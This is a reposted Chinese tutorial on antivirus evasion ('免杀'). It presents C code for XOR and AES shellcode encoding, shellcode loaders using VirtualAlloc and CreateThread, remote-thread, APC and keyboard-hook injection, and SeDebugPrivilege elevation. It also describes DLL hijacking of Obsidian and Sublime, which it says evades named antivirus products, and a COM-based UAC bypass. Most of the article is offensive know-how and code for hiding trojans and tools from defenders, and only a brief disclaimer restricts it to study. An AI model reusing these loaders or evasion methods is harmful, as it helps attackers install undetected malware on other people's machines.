免杀杂谈_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

免杀杂谈

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


免杀杂谈

原文链接:https://xz.aliyun.com/t/13332 一.开始的话 很多人其实并不知道如何去做免杀,免杀的目的并不是说一定要让所有杀毒软件都无法检测,其实只需要让目标机器无法检测就行了。那么免杀这是一个大类,如果直接去说,这其实是大而空的,那么具体免杀,我们需要去做些什么呢?我将会从下面几个方面来论述。(这些方面也是基本涵盖了常见的免杀需求) 从需求方面 木马免杀 权限维持免杀 工具免杀 其他免杀 从免杀阶段方面 静态免杀 动态免杀「 执行免杀 内存免杀 行为免杀 」 3.流量免杀 从payload加载方面 技术方面这里就百花齐放了,各种花里胡哨的方法。无论是工具的免杀还是做木马的免杀,不过大部分也就是: 本体的免杀,一个可执行程序,直接进行运行。payload就直接在程序里写死了。 分离免杀,制作加载器等。通过加载器和载荷分开的方式。再次基础上是对各种载荷的操作等。 白加黑免杀。通过白程序+黑dll的加载方式。这种也应该算是分离免杀的一种吧。 dll相关:对于dll的操作,包括了各种dll的加载方式,远线程,全局钩子,hook,劫持。这部分可以继而研究到shellcode的远线程注入等。不过对于远线程注入的方式也可以做成分离免杀的形式。 webshell免杀:对于上传的webshell进行免杀,主要还是各种变形,加密,混淆。老生常谈,但也是很多在用。(在做其他免杀似乎也是) 从选择的语言方面 语言的话,这里可以选择的语言非常多,可以选择语言本身的函数以及语言的特性,可以使用语言调用win api操作,可以使用我来随机举几个例子。常见的: c/c++:这种语言做程序,速度快,文件小,可实现的功能很多。也是很普遍传统的一种语言。缺点是:一些功能需要自己实现,新手上手稍难(对比python这种)而这样也分为microsoft的和mingw的两种。 python:对新手友好,语法简单。但是程序编译成exe比较大,而且编译出来的有时候拿到目的机器上运行,会出现各种错误无法运行。 go:运行速度快,难度也比较简单,支持各种库。文件也不是很大。 java:这种很少用来做木马的。大多数还是做webshell的免杀,内存马注入此类的。虽然也可以做上线的马,但是还是需要环境。文件也相对较大。主要是webshell的免杀。 c#:这种语言也非常常见。而且在cs中可以使用execute-assembly直接加载使用。 php:这个也是webshell的免杀。可以配合安全狗,D盾等自己练习。 当然也会有人选用一些不是非常常见的语言: rust nimlang ruby 总结 虽然说这里看着技术很多,但是我们只是需要实现我们的目的。那么我在这里继续举例一下都是些什么。 对于是否是分离payload,无非从代码层面就是多了一些payload的读取,本地读取,注册表写入读取,远程拉取等等,只是形式而已。 而对于payload,也就是攻击载荷相关的内容。也是采取了混淆,编码,变形等。 二.载荷编码加密&对抗&功能 那么对于payload我们一般就是采取加密,编码,混淆。无论什么语言。例如:xor,base家族,现代密码(aes,des,rsa。。),古典密码等等。这里举几个例子。 1.异或编码(c语言) 这里是把shellcode进行xor编码,然后可以保存到文件中,也可以按照自己的方式操作。 unsigned char buf[] = "shellcode" int password = 1025;  unsigned char enShellCode[50000]; unsigned char deShellCode[50000];  int nLen = sizeof(buf) - 1;  printf("%d\n加密后:\n", nLen); for (int i = 0; i < nLen; i++) { enShellCode[i] = buf[i] ^ password; printf("\\x%x", enShellCode[i]); }  FILE* fp; unsigned char buffer[1024]; int bytesRead;  fp = fopen("1.txt", "rb"); if (fp == NULL) { printf("Failed to open file"); exit(1); }  bytesRead = fread(buffer, sizeof(unsigned char), sizeof(buffer), fp); if (bytesRead == 0) { printf("Failed to read file"); exit(EXIT_FAILURE); }  for (int i = 0; i < bytesRead; i++) { printf("\\x%x", buffer[i]); } printf("");  fclose(fp);   printf("\n解密后:\n"); for (int i = 0; i < nLen; i++) { deShellCode[i] = enShellCode[i] ^ password; printf("\\x%x", deShellCode[i]); } 2.AES加密(c语言) 用到了openssl/aes.h文件。在vs中操作。 安装: vcpkg integrate installvcpkg install openssl:x86-windowsvcpkg install openssl:x64-windows 代码: void aes_encrypt(const unsigned char *plaintext, int plaintext_len, const unsigned char *key, unsigned char *ciphertext) { AES_KEY aes_key; AES_set_encrypt_key(key, 128, &aes_key);//设置密钥 int num_blocks = plaintext_len / BLOCK_SIZE + (plaintext_len % BLOCK_SIZE == 0 ? 0 : 1);//每16字节加密一次 unsigned char block[BLOCK_SIZE]; for (int i = 0; i < num_blocks; i++) { int j; for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < plaintext_len; j++) { block[j] = plaintext[i * BLOCK_SIZE + j]; } for (; j < BLOCK_SIZE; j++) { block[j] = '\0'; } AES_encrypt(block, &ciphertext[i * BLOCK_SIZE], &aes_key); }} void aes_decrypt(const unsigned char *ciphertext, int ciphertext_len, const unsigned char *key, unsigned char *plaintext) { AES_KEY aes_key; AES_set_decrypt_key(key, 128, &aes_key); int num_blocks = ciphertext_len / BLOCK_SIZE + (ciphertext_len % BLOCK_SIZE == 0 ? 0 : 1); unsigned char block[BLOCK_SIZE]; for (int i = 0; i < num_blocks; i++) { AES_decrypt(&ciphertext[i * BLOCK_SIZE], block, &aes_key); int j; for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < ciphertext_len; j++) { plaintext[i * BLOCK_SIZE + j] = block[j]; } }} 一方面是加密,一方面是解密。 这里展示了c的,语言表现形式很多,不同语言实现的方式不同,也不用纠结是什么语言的 三.分离载荷 1.本地载荷读取(c语言) 文件I/O 读取 char* buf = (char*)malloc(926 + 1); HANDLE openinfile = CreateFileA("aaa.txt",GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); int size = GetFileSize(openinfile, NULL); DWORD lpNumberOfBytesRead = 0; BOOL rfile = ReadFile(openinfile, buf, size, &lpNumberOfBytesRead, NULL); 写入 HANDLE hFile = CreateFile(L"aaa.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD lpNumberOFBytesWrite = 0; BOOL wfile = WriteFile(hFile, buf, size, &lpNumberOFBytesWrite, NULL); 输出 /*for (int i = 0; i < 926; i++) { printf("\\x%02x", (unsigned char)sc[i]); }*/ 2.远程shellcode读取(c语言) 主要结构: 解析路径,分析端口,资源文件,协议 远程拉文件读取进内存中 分配内存远程线程注入或者自己开个进程注入 http请求 WinHttpOpenWinHttpOpenRequestWinHttpSendRequestWinHttpReceiveResponse 读取远程的文件 我这里用递归读取 而远程文件可以直接开个python的http服务 python3 -m http.server 读取注册表 前提是得写入注册表^_^ #include #include  int main() { HKEY hKey; char value[255]; DWORD bufSize = sizeof(value);  // 打开注册表项 if (RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { // 读取注册表值 if (RegGetValue(hKey, NULL, "ProductName", RRF_RT_REG_SZ, NULL, value, &bufSize) == ERROR_SUCCESS) { printf("Product Name: %s\n", value); } else { printf("Failed to read registry value.\n"); }  // 关闭注册表项 RegCloseKey(hKey); } else { printf("Failed to open registry key.\n"); }  return 0;} 四.加载器入口点的写法 对于加载器的写法,无论别的是什么,也总得要有个入口点,也就是api,可以使用常见的api,可以使用自己找个少见的api。比如:VirtualAlloc,更底层是VirtualAllocEx。 VirtualAlloc直接加载 一个最简单的直接加载payload,开辟内存空间运行,把载荷放进去。 #include #include using namespace std; int main(){ char shellcode[] = "把shellcode粘贴到这里"; LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(lpAlloc, shellcode, sizeof shellcode); ((void(*)())lpAlloc)(); return 0;} 创建线程运行 自己这个程序运行后,给自己开个线程运行 void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof(buf)); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode 远程线程加载 把恶意的载荷加载去第三方的进程,这样应急排查的话,就会看见一个正常的进程。 打开一个要加载的远程线程:targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); 分配空间:remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 写入内存:WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); apc注入 介绍 APC(Asynchronous Procedure Call)注入是一种基于Windows操作系统的高级漏洞利用技术,通常用于绕过安全防护措施,执行恶意代码。其原理如下: APC注册:在目标进程中创建一个用户模式线程,并将其关联到一个合法的可执行函数或API回调函数。 注入:攻击者将恶意代码加载到目标进程的虚拟地址空间中,通常使用远程线程注入、DLL注入等方法。 触发APC:攻击者在目标进程的上下文中,使用QueueUserAPC函数将用户模式线程与恶意代码关联,将其添加到被攻击者的执行队列中。 执行:当目标进程执行到特定的同步点时,即进入了ALERTABLE状态(如进入等待状态、等待用户输入等),执行队列中的用户模式线程得到执行并执行恶意代码。 APC注入利用了Windows操作系统的异步过程调用机制,通过向进程中注入线程,并在指定时机触发线程执行,从而实现执行恶意代码的目的。由于APC是在目标进程的上下文中执行,所以可以绕过一些安全防护措施,使恶意代码不易被检测和阻止。 需要注意的是,APC注入是一种高级的攻击技术,需要深入了解操作系统和漏洞利用原理才能正确实施。在合法场景下使用或研究APC注入,请确保符合法律规定,并遵循合规的安全测试流程。 具体实现代码 既然是注入每一个线程,自然要有一个循环,循环每一个线程: for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); Sleep(1000 * 2); } 其他的代码和别的加载方式并没太大差别。当然还有apc注入earlybird版本,建议自行研究了。 HOOK键盘SetWindowHookEx代码注入 这个就稍微有点难度了,但仔细研究并没多难。Windows允许程序使用SetWindowHookEx安装钩子来监控各种系统事件,如鼠标点击和键盘按键。 一个载荷 创建一个恶意程序 解析地址,挂钩 键盘输入内容,加载恶意载荷。 代码 HMODULE library = LoadLibraryA("Dll1.dll"); HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport"); HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0); Sleep(10 * 1000); UnhookWindowsHookEx(hook); 而在dll里: extern "C" __declspec(dllexport) int spotlessExport() { unsigned char shellcode[] = "";  void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); 这样可以实现运行程序后,dll并不会立即加载。而是会在HOOK后执行。 总结 这些是不同形式的加载恶意载荷,根据我的朋友(一位研究apt样本)描述,在apt组织中,他们更常见采用的加载方式是: 程序黑1调用黑2,黑2调用黑3。并且会去掉他们的pe头文件。总体也就是分段加密,分段解密,在不同的地方解密,不同的地方组装。类似于区块链的去中心化的组装模式,最后再运行。 这样即使提取文件出来,也不会得到全部的数据,对于取证也是具有难度。 这样看上去,不是完整的pe,也不是完整的shellcode。 而对于apt组织的白加黑样本(后续介绍白加黑),他们也经常是采用白程序加载一个可信任的dll(可能是已经签名了),然后这个黑dll再去加载一个自己黑dll,多来几层这种类。(比较类似于之前爆出来vmware的白程序被apt组织利用的样本。) 当然本篇文章,只是一个方向性质的总结文章。也是希望可以帮助到大多数师傅入门免杀的文章。这里就介绍一些简单的api了。 五.其他技术 bypass 导入表 这种是动态导入表,但是只能在三环有点操作,但是在零环并没什么。 (三环内) typedef LPVOID(WINAPI* ImportVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); 然后利用GetProcAddress获得地址 ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc"); 最后使用我们自定义的函数 获取进程令牌权限 病毒木马想要实现一些关键的系统操作时。 比如:通过调用ExitWindows函数实现关机或重启操作的时候就需要SE_SHUTDOWN_NAME权限 否则,会忽视操作不执行 注意 AdjustTokenPrivileges返回TRUE,并不代表特权设置成功,还需要使用GetLastError来判断错误码返回值。   若错误码返回值为ERROR_SUCCESS,则表示所有特权设置成功;若为ERROR_NOT_ALL_ASSIGNED,   则表示并不是所有特权都设置成功   换句话说,如果在程序中只提升了一个访问令牌特权,   且错误码为ERROR_NOT_ALL_ASSIGNED,则提升失败。如果程序运行在 Windows 7或者以上版本的操作系统,   可以尝试以管理员身份运行程序然后再测试 代码: // 开启SeDebugPrivilege HANDLE hToken; TOKEN_PRIVILEGES TokenPrivileges; BOOL bResult;  bResult = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); if (!bResult) { _tprintf(_T("OpenProcessToken failed, error code: %d\n"), GetLastError()); return 1; }  bResult = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid); if (!bResult) { _tprintf(_T("LookupPrivilegeValue failed, error code: %d\n"), GetLastError()); return 1; }  TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  bResult = AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (!bResult) { _tprintf(_T("AdjustTokenPrivileges failed, error code: %d\n"), GetLastError()); return 1; } 判断当前权限 判断当前权限,可以手动做个提权的功能之类的,所以也就把这个加进来了。 #include #include  int _tmain(){ BOOL bIsAdmin = IsUserAnAdmin(); if (bIsAdmin) _tprintf_s(_T("Run As administrator")); else _tprintf_s(_T("Run As user")); system("pause"); return 0;} 反沙箱技术 注入此类的,通过读取注册表,判断cpu内存等,判断进程,延时执行等等。 六.白加黑技术 一个白程序加载一个黑dll叫做白加黑执行。 这里的dll功能可以按照你的想法来编写。 白加黑,从dll的加载上我觉得分为两种: 加载不存在的dll 加载存在的dll dll加载的顺序: EXE所在目录; 当前目录GetCurrentDirectory(); 系统目录GetSystemDirectory(); WINDOWS目录GetWindowsDirectory(); 环境变量 PATH 所包含的目录。 1.加载不存在的dll 然后这里找到一个需要用到loadlibrary这个api的dll,这里找有个api的原因是因为如果该dll的调用栈中存在有 loadlibrary(Ex) ,说明这个dll被进程所动态加载的。如果这种利用场景下,伪造的dll文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在dll被加载成功加载之后的事情。 loadlibrary和loadlibraryex是一个本地加载,一个是远程加载,如果dll不在调用的同一目录下,就可以使用loadlibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用loadlibraryex进行远程加载 Obsidian的dll劫持 1.找到dll 2.编写dll放到和程序同目录 然后运行即可,会自动调用 360核晶无感,火绒无感。 sublime的dll劫持 代码: 这里就不给出代码了,功能也好,入口点加载也好,上文已经给出了。 2.加载存在的dll 1.找到目标进程加载了哪些dll 2.找一个dll 假设我们选取amsi.dll 我们看到这个导入目录中存在LoadLibraryExW 然后再去找到它的函数有什么,下一次尝试写入。这里的函数都可以使用。 3.测试效果 七.工具的免杀 之前想到了一个突发奇想,想到了可以把可执行文件转换成shellcode,然后老样子成为载荷加载。刚开始试验起来,效果也还不错。这种也没什么困难的,也算是另一种变相的加载了。而且近半年也能看见很多github和公众号出现了这种免杀方法,研究免杀的师傅也是越来越多了。 其他的对于工具的免杀,核心点也是混淆,编码等。但是对于fscan或者frp这种项目,也是主要动态行为免杀了。比如frp,需要去修改流量特征,参数等运行的需要修改。 至于其他的功能,提权,权限维持,如何去做的免杀也就是这些了。 八.马子其他功能 马子架构 这里就是比较偏向于娱乐功能了,设计了一个马子的架构,可以直接提权上线,但是实际上,也就娱乐了。 bypass UAC COM组建ICMLuaUtil接口 通过允许的的应用程序提升权限激活COM类,然后使用ICMLuaUtil的ShellExec来创建进程。 允许的进程是:记事本,计算器,资源管理器,rundll32.exe等,这里直接利用rundll32.exe加载dll,用一个管理员权限启动恶意程序。 这里我就随便举了个小例子 bypass uac了。 九.其他 不同的语言编译有不同的编译参数命令,需要注意,他们也对免杀有不同的效果。 可以去了解一下主要的杀毒软件规则是什么,不要直接去做免杀,先去看看规则。自己做的程序也不要直接发到vt......。本机测试记得断网...... 关于免杀大概就说到这里吧,看了很多的免杀思路,主要还是分离免杀吧,去做加载器,再加上点编码混淆,就拿来用了。其实这样也没什么问题,但是依旧应该去研究一下更少见的内容,最好是自己分析,调试一下,而不是直接下载项目,自己编译运行,报错了也不知道为什么会报错。希望和各位安全师傅共勉,共同进步。 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

免杀杂谈